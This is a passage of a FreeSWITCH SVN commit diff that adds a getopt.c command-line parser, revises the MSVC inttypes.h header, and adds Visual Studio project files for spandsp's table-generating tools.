+#endif

Copied: freeswitch/branches/seven/libs/spandsp/src/msvc/getopt.c (from rev 14471, freeswitch/trunk/libs/spandsp/src/msvc/getopt.c) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/msvc/getopt.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/msvc/getopt.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,177 @@
+/***************************************************************************** 
+ * 
+ *  MODULE NAME : GETOPT.C 
+ * 
+ *  COPYRIGHTS: 
+ *             This module contains code made available by IBM 
+ *             Corporation on an AS IS basis.  Any one receiving the 
+ *             module is considered to be licensed under IBM copyrights 
+ *             to use the IBM-provided source code in any way he or she 
+ *             deems fit, including copying it, compiling it, modifying 
+ *             it, and redistributing it, with or without 
+ *             modifications.  No license under any IBM patents or 
+ *             patent applications is to be implied from this copyright 
+ *             license. 
+ * 
+ *             A user of the module should understand that IBM cannot 
+ *             provide technical support for the module and will not be 
+ *             responsible for any consequences of use of the program. 
+ * 
+ *             Any notices, including this one, are not to be removed 
+ *             from the module without the prior written consent of 
+ *             IBM. 
+ * 
+ *  AUTHOR:   Original author: 
+ *                 G. R. Blair (BOBBLAIR at AUSVM1) 
+ *                 Internet: bobblair@bobblair.austin.ibm.com 
+ * 
+ *            Extensively revised by: 
+ *                 John Q. Walker II, Ph.D. (JOHHQ at RALVM6) 
+ *                 Internet: johnq@ralvm6.vnet.ibm.com 
+ * 
+ *****************************************************************************/ 
+ 
+/****************************************************************************** 
+ * getopt() 
+ * 
+ * The getopt() function is a command line parser.  It returns the next 
+ * option character in argv that matches an option character in opstring. 
+ * 
+ * The argv argument points to an array of argc+1 elements containing argc 
+ * pointers to character strings followed by a null pointer. 
+ * 
+ * The opstring argument points to a string of option characters; if an 
+ * option character is followed by a colon, the option is expected to have 
+ * an argument that may or may not be separated from it by white space. 
+ * The external variable optarg is set to point to the start of the option 
+ * argument on return from getopt(). 
+ * 
+ * The getopt() function places in optind the argv index of the next argument 
+ * to be processed.  The system initializes the external variable optind to 
+ * 1 before the first call to getopt(). 
+ * 
+ * When all options have been processed (that is, up to the first nonoption 
+ * argument), getopt() returns EOF.  The special option "--" may be used to 
+ * delimit the end of the options; EOF will be returned, and "--" will be 
+ * skipped. 
+ * 
+ * The getopt() function returns a question mark (?) when it encounters an 
+ * option character not included in opstring.  This error message can be 
+ * disabled by setting opterr to zero.  Otherwise, it returns the option 
+ * character that was detected. 
+ * 
+ * If the special option "--" is detected, or all options have been 
+ * processed, EOF is returned. 
+ * 
+ * Options are marked by either a minus sign (-) or a slash (/). 
+ * 
+ * No errors are defined. 
+ *****************************************************************************/ 
+ 
+#include <stdio.h>                  /* for EOF */ 
+#include <string.h>                 /* for strchr() */ 
+ 
+ 
+/* static (global) variables that are specified as exported by getopt() */ 
+char *optarg = NULL;    /* pointer to the start of the option argument  */ 
+int   optind = 1;       /* number of the next argv[] to be evaluated    */ 
+int   opterr = 1;       /* non-zero if a question mark should be returned 
+                           when a non-valid option character is detected */ 
+ 
+/* handle possible future character set concerns by putting this in a macro */ 
+#define _next_char(string)  (char)(*(string+1)) 
+ 
+int getopt(int argc, char *argv[], char *opstring) 
+{ 
+    static char *pIndexPosition = NULL; /* place inside current argv string */ 
+    char *pArgString = NULL;        /* where to start from next */ 
+    char *pOptString;               /* the string in our program */ 
+ 
+ 
+    if (pIndexPosition != NULL) { 
+        /* we last left off inside an argv string */ 
+        if (*(++pIndexPosition)) { 
+            /* there is more to come in the most recent argv */ 
+            pArgString = pIndexPosition; 
+        } 
+    } 
+ 
+    if (pArgString == NULL) { 
+        /* we didn't leave off in the middle of an argv string */ 
+        if (optind >= argc) { 
+            /* more command-line arguments than the argument count */ 
+            pIndexPosition = NULL;  /* not in the middle of anything */ 
+            return EOF;             /* used up all command-line arguments */ 
+        } 
+ 
+        /*--------------------------------------------------------------------- 
+         * If the next argv[] is not an option, there can be no more options. 
+         *-------------------------------------------------------------------*/ 
+        pArgString = argv[optind++]; /* set this to the next argument ptr */ 
+ 
+        if (('/' != *pArgString) && /* doesn't start with a slash or a dash? */ 
+            ('-' != *pArgString)) { 
+            --optind;               /* point to current arg once we're done */ 
+            optarg = NULL;          /* no argument follows the option */ 
+            pIndexPosition = NULL;  /* not in the middle of anything */ 
+            return EOF;             /* used up all the command-line flags */ 
+        } 
+ 
+        /* check for special end-of-flags markers */ 
+        if ((strcmp(pArgString, "-") == 0) || 
+            (strcmp(pArgString, "--") == 0)) { 
+            optarg = NULL;          /* no argument follows the option */ 
+            pIndexPosition = NULL;  /* not in the middle of anything */ 
+            return EOF;             /* encountered the special flag */ 
+        } 
+ 
+        pArgString++;               /* look past the / or - */ 
+    } 
+ 
+    if (':' == *pArgString) {       /* is it a colon? */ 
+        /*--------------------------------------------------------------------- 
+         * Rare case: if opterr is non-zero, return a question mark; 
+         * otherwise, just return the colon we're on. 
+         *-------------------------------------------------------------------*/ 
+        return (opterr ? (int)'?' : (int)':'); 
+    } 
+    else if ((pOptString = strchr(opstring, *pArgString)) == 0) { 
+        /*--------------------------------------------------------------------- 
+         * The letter on the command-line wasn't any good. 
+         *-------------------------------------------------------------------*/ 
+        optarg = NULL;              /* no argument follows the option */ 
+        pIndexPosition = NULL;      /* not in the middle of anything */ 
+        return (opterr ? (int)'?' : (int)*pArgString); 
+    } 
+    else { 
+        /*--------------------------------------------------------------------- 
+         * The letter on the command-line matches one we expect to see 
+         *-------------------------------------------------------------------*/ 
+        if (':' == _next_char(pOptString)) { /* is the next letter a colon? */ 
+            /* It is a colon.  Look for an argument string. */ 
+            if ('\0' != _next_char(pArgString)) {  /* argument in this argv? */ 
+                optarg = &pArgString[1];   /* Yes, it is */ 
+            } 
+            else { 
+                /*------------------------------------------------------------- 
+                 * The argument string must be in the next argv. 
+                 * But, what if there is none (bad input from the user)? 
+                 * In that case, return the letter, and optarg as NULL. 
+                 *-----------------------------------------------------------*/ 
+                if (optind < argc) 
+                    optarg = argv[optind++]; 
+                else { 
+                    optarg = NULL; 
+                    return (opterr ? (int)'?' : (int)*pArgString); 
+                } 
+            } 
+            pIndexPosition = NULL;  /* not in the middle of anything */ 
+        } 
+        else { 
+            /* it's not a colon, so just return the letter */ 
+            optarg = NULL;          /* no argument follows the option */ 
+            pIndexPosition = pArgString;    /* point to the letter we're on */ 
+        } 
+        return (int)*pArgString;    /* return the letter that matched */ 
+    } 
+}

Modified: freeswitch/branches/seven/libs/spandsp/src/msvc/inttypes.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/msvc/inttypes.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/msvc/inttypes.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -19,16 +19,11 @@
 extern "C" {
 #endif
 
-#ifdef _MSC_VER
-#if (_MSC_VER >= 1400) // VC8+
-#ifndef _CRT_SECURE_NO_DEPRECATE
-#define _CRT_SECURE_NO_DEPRECATE
-#endif
-#ifndef _CRT_NONSTDC_NO_DEPRECATE
-#define _CRT_NONSTDC_NO_DEPRECATE
-#endif
-#endif // VC8+
-#include <windows.h>
+typedef __int8		__int8_t;
+typedef __int16		__int16_t;
+typedef __int32		__int32_t;
+typedef __int64		__int64_t;
+
 typedef unsigned __int8		uint8_t;
 typedef unsigned __int16	uint16_t;
 typedef unsigned __int32	uint32_t;
@@ -37,36 +32,14 @@
 typedef __int16		int16_t;
 typedef __int32		int32_t;
 typedef __int64		int64_t;
-#define inline __inline
-#define __inline__ __inline
-#define  INT16_MAX   0x7fff 
+
+#define  INT16_MAX   0x7FFF 
 #define  INT16_MIN   (-INT16_MAX - 1) 
-#define _MMX_H_
 
-/* disable the following warnings 
- * C4100: The formal parameter is not referenced in the body of the function. The unreferenced parameter is ignored. 
- * C4200: Non standard extension C zero sized array
- * C4706: assignment within conditional expression
- * C4244: conversion from 'type1' to 'type2', possible loss of data
- * C4295: array is too small to include a terminating null character
- * C4125: decimal digit terminates octal escape sequence
- */
-#pragma warning(disable:4100 4200 4706 4295 4125)
-
-#pragma comment(lib, "ws2_32.lib")
-
-#define strncasecmp _strnicmp
-#define strcasecmp _stricmp
-#define snprintf _snprintf
-
 #if !defined(INFINITY)
-#define INFINITY 0x7fffffff
+#define INFINITY 0x7FFFFFFF
 #endif
-#endif
 
-#define PACKAGE "spandsp"
-#define VERSION "0.0.3andabit"
-
 #define INT32_MAX	(2147483647)
 #define INT32_MIN	(-2147483647 - 1)
 

Copied: freeswitch/branches/seven/libs/spandsp/src/msvc/make_at_dictionary.2005.vcproj (from rev 14471, freeswitch/trunk/libs/spandsp/src/msvc/make_at_dictionary.2005.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/msvc/make_at_dictionary.2005.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/msvc/make_at_dictionary.2005.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,113 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="make_at_dictionary"
+	ProjectGUID="{DEE932AB-5911-4700-9EEB-8C7090A0A330}"
+	RootNamespace="make_at_dictionary"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="All|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;.\spandsp;.\msvc;..\..\tiff-3.8.2\libtiff;.\generated"
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine="&quot;$(TargetPath)&quot; &gt;&quot;$(ProjectDir)..\at_interpreter_dictionary.h&quot;&#x0D;&#x0A;"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\make_at_dictionary.c"
+				>
+			</File>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/spandsp/src/msvc/make_at_dictionary.2008.vcproj (from rev 14471, freeswitch/trunk/libs/spandsp/src/msvc/make_at_dictionary.2008.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/msvc/make_at_dictionary.2008.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/msvc/make_at_dictionary.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,111 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="make_at_dictionary"
+	ProjectGUID="{DEE932AB-5911-4700-9EEB-8C7090A0A330}"
+	RootNamespace="make_at_dictionary"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="196613"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="All|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;.\spandsp;.\msvc;..\..\tiff-3.8.2\libtiff;.\generated"
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine="&quot;$(TargetPath)&quot; &gt;&quot;$(ProjectDir)..\at_interpreter_dictionary.h&quot;"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\make_at_dictionary.c"
+				>
+			</File>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/spandsp/src/msvc/make_modem_filter.2005.vcproj (from rev 14471, freeswitch/trunk/libs/spandsp/src/msvc/make_modem_filter.2005.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/msvc/make_modem_filter.2005.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/msvc/make_modem_filter.2005.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,131 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="make_modem_filter"
+	ProjectGUID="{329A6FA0-0FCC-4435-A950-E670AEFA9838}"
+	RootNamespace="make_modem_filter"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="All|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;.\spandsp;.\msvc;..\..\tiff-3.8.2\libtiff;.\generated"
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine="&quot;$(TargetPath)&quot; -m V.17 -i -r &gt;&quot;$(ProjectDir)..\v17_v32bis_rx_fixed_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.17 -r &gt;&quot;$(ProjectDir)..\v17_v32bis_rx_floating_rrc.h&quot;&#x0D;&#x0A;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.17 -i -t &gt;&quot;$(ProjectDir)..\v17_v32bis_tx_fixed_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.17 -t &gt;&quot;$(ProjectDir)..\v17_v32bis_tx_floating_rrc.h&quot;&#x0D;&#x0A;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.22bis1200 -i -r &gt;&quot;$(ProjectDir)..\v22bis_rx_1200_fixed_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.22bis2400 -i -r &gt;&quot;$(ProjectDir)..\v22bis_rx_2400_fixed_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.22bis1200 -r &gt;&quot;$(ProjectDir)..\v22bis_rx_1200_floating_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.22bis2400 -r &gt;&quot;$(ProjectDir)..\v22bis_rx_2400_floating_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.22bis -i -t &gt;&quot;$(ProjectDir)..\v22bis_tx_fixed_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.22bis -t &gt;&quot;$(ProjectDir)..\v22bis_tx_floating_rrc.h&quot;&#x0D;&#x0A;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.27ter2400 -i -r &gt;&quot;$(ProjectDir)..\v27ter_rx_2400_fixed_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.27ter4800 -i -r &gt;&quot;$(ProjectDir)..\v27ter_rx_4800_fixed_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.27ter2400 -r &gt;&quot;$(ProjectDir)..\v27ter_rx_2400_floating_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.27ter4800 -r &gt;&quot;$(ProjectDir)..\v27ter_rx_4800_floating_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.27ter2400 -i -t &gt;&quot;$(ProjectDir)..\v27ter_tx_2400_fixed_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.27ter4800 -i -t &gt;&quot;$(ProjectDir)..\v27ter_tx_4800_fixed_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.27ter2400 -t &gt;&quot;$(ProjectDir)..\v27ter_tx_2400_floating_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.27ter4800 -t &gt;&quot;$(ProjectDir)..\v27ter_tx_4800_floating_rrc.h&quot;&#x0D;&#x0A;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.29 -i -r &gt;&quot;$(ProjectDir)..\v29rx_fixed_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.29 -r &gt;&quot;$(ProjectDir)..\v29rx_floating_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.29 -i -t &gt;&quot;$(ProjectDir)..\v29tx_fixed_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.29 -t &gt;&quot;$(ProjectDir)..\v29tx_floating_rrc.h&quot;&#x0D;&#x0A;"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\filter_tools.c"
+				>
+			</File>
+			<File
+				RelativePath="getopt.c"
+				>
+			</File>
+			<File
+				RelativePath="..\make_modem_filter.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath="..\filter_tools.h"
+				>
+			</File>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/spandsp/src/msvc/make_modem_filter.2008.vcproj (from rev 14471, freeswitch/trunk/libs/spandsp/src/msvc/make_modem_filter.2008.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/msvc/make_modem_filter.2008.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/msvc/make_modem_filter.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,129 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="make_modem_filter"
+	ProjectGUID="{329A6FA0-0FCC-4435-A950-E670AEFA9838}"
+	RootNamespace="make_modem_filter"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="196613"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="All|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;.\spandsp;.\msvc;..\..\tiff-3.8.2\libtiff;.\generated"
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine="&quot;$(TargetPath)&quot; -m V.17 -i -r &gt;&quot;$(ProjectDir)..\v17_v32bis_rx_fixed_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.17 -r &gt;&quot;$(ProjectDir)..\v17_v32bis_rx_floating_rrc.h&quot;&#x0D;&#x0A;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.17 -i -t &gt;&quot;$(ProjectDir)..\v17_v32bis_tx_fixed_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.17 -t &gt;&quot;$(ProjectDir)..\v17_v32bis_tx_floating_rrc.h&quot;&#x0D;&#x0A;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.22bis1200 -i -r &gt;&quot;$(ProjectDir)..\v22bis_rx_1200_fixed_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.22bis2400 -i -r &gt;&quot;$(ProjectDir)..\v22bis_rx_2400_fixed_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.22bis1200 -r &gt;&quot;$(ProjectDir)..\v22bis_rx_1200_floating_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.22bis2400 -r &gt;&quot;$(ProjectDir)..\v22bis_rx_2400_floating_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.22bis -i -t &gt;&quot;$(ProjectDir)..\v22bis_tx_fixed_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.22bis -t &gt;&quot;$(ProjectDir)..\v22bis_tx_floating_rrc.h&quot;&#x0D;&#x0A;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.27ter2400 -i -r &gt;&quot;$(ProjectDir)..\v27ter_rx_2400_fixed_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.27ter4800 -i -r &gt;&quot;$(ProjectDir)..\v27ter_rx_4800_fixed_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.27ter2400 -r &gt;&quot;$(ProjectDir)..\v27ter_rx_2400_floating_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.27ter4800 -r &gt;&quot;$(ProjectDir)..\v27ter_rx_4800_floating_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.27ter2400 -i -t &gt;&quot;$(ProjectDir)..\v27ter_tx_2400_fixed_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.27ter4800 -i -t &gt;&quot;$(ProjectDir)..\v27ter_tx_4800_fixed_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.27ter2400 -t &gt;&quot;$(ProjectDir)..\v27ter_tx_2400_floating_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.27ter4800 -t &gt;&quot;$(ProjectDir)..\v27ter_tx_4800_floating_rrc.h&quot;&#x0D;&#x0A;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.29 -i -r &gt;&quot;$(ProjectDir)..\v29rx_fixed_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.29 -r &gt;&quot;$(ProjectDir)..\v29rx_floating_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.29 -i -t &gt;&quot;$(ProjectDir)..\v29tx_fixed_rrc.h&quot;&#x0D;&#x0A;&quot;$(TargetPath)&quot; -m V.29 -t &gt;&quot;$(ProjectDir)..\v29tx_floating_rrc.h&quot;&#x0D;&#x0A;"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\filter_tools.c"
+				>
+			</File>
+			<File
+				RelativePath="getopt.c"
+				>
+			</File>
+			<File
+				RelativePath="..\make_modem_filter.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath="..\filter_tools.h"
+				>
+			</File>
